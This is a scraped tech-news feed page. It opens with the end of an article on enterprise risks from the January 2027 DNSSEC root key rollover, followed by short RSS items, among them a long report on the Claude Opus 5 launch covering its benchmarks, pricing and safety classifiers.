<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[v8.21.0-beta.1]]></title>
<description><![CDATA[Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!]]></description>
<link>https://tsecurity.de/de/3693046/downloads/v8210-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693046/downloads/v8210-beta1/</guid>
<pubDate>Sat, 25 Jul 2026 05:14:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!</li>
</ul>]]></content:encoded>
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<title><![CDATA[Windows 11 now lets you resize the touchpad right-click zone, something even macOS can’t do]]></title>
<description><![CDATA[Windows 11 now lets you resize the right-click zone on your touchpad, choosing between Default, Small, Medium, and Large from Settings. The feature started in Insider builds back in March and has now rolled out to everyone with the July 2026 Patch Tuesday update, no tweaks required.
The post Wind...]]></description>
<link>https://tsecurity.de/de/3692803/windows-tipps/windows-11-now-lets-you-resize-the-touchpad-right-click-zone-something-even-macos-cant-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692803/windows-tipps/windows-11-now-lets-you-resize-the-touchpad-right-click-zone-something-even-macos-cant-do/</guid>
<pubDate>Sat, 25 Jul 2026 02:26:40 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Windows 11 now lets you resize the right-click zone on your touchpad, choosing between Default, Small, Medium, and Large from Settings. The feature started in Insider builds back in March and has now rolled out to everyone with the July 2026 Patch Tuesday update, no tweaks required.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/07/25/windows-11-now-lets-you-resize-the-touchpad-right-click-zone-something-even-macos-cant-do/">Windows 11 now lets you resize the touchpad right-click zone, something even macOS can’t do</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
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<title><![CDATA[Securing Model Context Protocol Servers: 4 Gates From Code to Production]]></title>
<description><![CDATA[I was showing off a support assistant I’d wired up over the Model Context Protocol. Small thing: it could search our docs and open a doc by name. A teammate, being a teammate, pasted this into the chat pretending to…
Read more →
The post Securing Model Context Protocol Servers: 4 Gates From Code ...]]></description>
<link>https://tsecurity.de/de/3692476/it-security-nachrichten/securing-model-context-protocol-servers-4-gates-from-code-to-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692476/it-security-nachrichten/securing-model-context-protocol-servers-4-gates-from-code-to-production/</guid>
<pubDate>Fri, 24 Jul 2026 22:38:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>I was showing off a support assistant I’d wired up over the Model Context Protocol. Small thing: it could search our docs and open a doc by name. A teammate, being a teammate, pasted this into the chat pretending to…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/securing-model-context-protocol-servers-4-gates-from-code-to-production/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/securing-model-context-protocol-servers-4-gates-from-code-to-production/">Securing Model Context Protocol Servers: 4 Gates From Code to Production</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[South Korean nuclear container ship proposal receives US approval for 15,000 TEU ultra-safe molten salt reactor design]]></title>
<description><![CDATA[South Korea received preliminary US approval for a 15,000 TEU container ship powered by twin molten salt small modular reactors.]]></description>
<link>https://tsecurity.de/de/3692445/it-nachrichten/south-korean-nuclear-container-ship-proposal-receives-us-approval-for-15000-teu-ultra-safe-molten-salt-reactor-design/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692445/it-nachrichten/south-korean-nuclear-container-ship-proposal-receives-us-approval-for-15000-teu-ultra-safe-molten-salt-reactor-design/</guid>
<pubDate>Fri, 24 Jul 2026 22:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[South Korea received preliminary US approval for a 15,000 TEU container ship powered by twin molten salt small modular reactors.]]></content:encoded>
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<title><![CDATA[Nvidia, Microsoft, Meta Warn Against 'Premature Restrictions' of Open-Weight Models]]></title>
<description><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open...]]></description>
<link>https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</guid>
<pubDate>Fri, 24 Jul 2026 22:11:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open-weight models strengthen competition and ensure that the benefits of the technology are "broadly shared rather than concentrated in a few hands." "Relying solely on closed models is not inherently safe: they can be breached, misused, or fail in ways that outsiders cannot detect," the letter said. "And concentrating advanced AI capabilities behind a small number of closed models compounds that risk."
 
Elon Musk, who runs an AI business under his rocket company SpaceX, also applified the letter on social media, writing that it has his "full support" in a post on X. SpaceX did not officially sign the letter. Greg Brockman, OpenAI's president, said Thursday that the company believes in broad access, and that he has not been involved in any conversations with the Trump administration about potentially banning Chinese open-weight models in the U.S.
 
"I think that, that fundamentally, AI and AI usage is something that is actually very important to democratize," Brockman told reporters during a briefing in New York City. "And so, for me, at a sort of deep level, I think that having more models, more usage, that is a good thing." OpenAI CEO Sam Altman addressed the letter in a post on X on Friday, writing that he wants the U.S. to win with both open-weight and proprietary models, and that he is "glad to see this."
 
[...] In the letter on Friday, the U.S. tech companies said that concerns about unlawful distillation should be addressed through "targeted legal and commercial frameworks" instead of with "sweeping restrictions on techniques that play an important role in AI innovation." "Our AI leadership will be judged not by one frontier AI model, but by whether the United States builds a strong, open ecosystem that diffuses into every sector," the letter said. "This is essential for creating opportunities for innovation and prosperity across the country." The letter follows a separate appeal signed by nearly 200 Silicon Valley companies, including Proton and Y Combinator, warning that restricting U.S. access to Chinese open-weight AI models could cripple the next generation of American startups. "American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote. Instead of broad prohibitions, they argue the government should adopt targeted safeguards.
 
Of course, these signees "have an obvious economic stake in seeing open AI models flourish," notes TechCrunch. "Companies like Nvidia, Microsoft Azure, and other infrastructure providers have a vested interest in pushing for commoditized models: If models are interchangeable, people will buy more GPUs, rent more cloud capacity, and build more applications."<p></p><div class="share_submission">
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</div><p><a href="https://meta.slashdot.org/story/26/07/24/1911233/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[‘Silo’ Season 3, Episode 4 Recap: Bernard’s Return Changes Everything]]></title>
<description><![CDATA[Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.



Warning: Major spoilers for Silo Season 3, Episode 4 follow.




Episode title: “Whatever You Do, Don’t Go Home”



Release...]]></description>
<link>https://tsecurity.de/de/3692379/ios-mac-os/silo-season-3-episode-4-recap-bernards-return-changes-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692379/ios-mac-os/silo-season-3-episode-4-recap-bernards-return-changes-everything/</guid>
<pubDate>Fri, 24 Jul 2026 21:28:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.



Warning: Major spoilers for Silo Season 3, Episode 4 follow.




Episode title: “Whatever You Do, Don’t Go Home”



Release date: July 24, 2026



Genre: Science fiction, drama and mystery



Season length: 10 episodes



Season 3 finale: September 4, 2026




Juliette escapes from Medical



The episode begins with Camille still determined to kill Juliette under the Algorithm’s instructions. Sims offers to handle the situation, although his true intentions remain difficult to understand.



Amy, the nurse caring for Juliette, turns against Camille’s plan. She sedates Emerson instead and helps Juliette escape from Medical. Amy also reveals that she had secretly replaced Juliette’s memory-suppressing medication before Juliette stopped taking the pills herself.



Amy allows the Raiders to capture her so Juliette can get away. Shirley later helps Juliette escape from Sims, believing that he plans to hurt her. However, his actions suggest that he may have been quietly helping Juliette all along.



Juliette discovers Bernard alive



Juliette asks Shirley to take her toward the sealed Digger Void. They discover that the entrance is not completely closed, allowing Juliette to continue down into a hidden section beneath the silo.



At the bottom, Juliette finds a small living area containing Bernard Holland. He is alive, heavily scarred and almost unrecognizable after the fire that supposedly killed him.



Sims previously claimed that Bernard had died and that his body had been destroyed. Bernard’s survival now raises major questions about Sims, Camille and the power struggle inside Silo 18. It also gives Juliette someone who understands the secrets behind the Algorithm and the larger silo system.



Billings investigates Orla’s murder



Elsewhere, Billings continues investigating Orla Kent’s death. He learns that rat poison did not kill her. Someone struck her with a piece of metal before hiding her body inside a closed tunnel.



Carla also disappears before she can meet Billings, while Mike and Glenda become possible suspects. The growing number of missing people suggests that someone is removing anyone connected to the silo’s hidden areas.



Daniel and Helen follow the conspiracy



In the earlier timeline, Daniel and Helen hide after discovering Steve’s damaged base and disappearance. Their only lead comes from a strange chess username that may contain a coded message.



Daniel contacts a Pentagon connection named Sam, while a government fixer pressures Helen to stop investigating. Sam eventually discovers something important, sending Daniel and Helen back into the conspiracy just before the episode ends.



Episode 4 leaves Juliette standing before one of the season’s biggest surprises. Bernard’s return can expose what Sims has been planning and reveal why Juliette’s memories were removed. What do you think Bernard will tell Juliette, and can she trust him after everything he did in previous seasons? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[Automating Microsoft 365: Using WorkIQ with Microsoft Scout]]></title>
<description><![CDATA[Managing work across Microsoft 365 often means jumping between Teams, Outlook, SharePoint, OneDrive, and your calendar just to finish a single task. Those small interruptions quickly add up during a busy workday. Microsoft Scout WorkIQ integration helps reduce that back-and-forth by allowing Scou...]]></description>
<link>https://tsecurity.de/de/3691982/windows-tipps/automating-microsoft-365-using-workiq-with-microsoft-scout/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691982/windows-tipps/automating-microsoft-365-using-workiq-with-microsoft-scout/</guid>
<pubDate>Fri, 24 Jul 2026 18:06:39 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
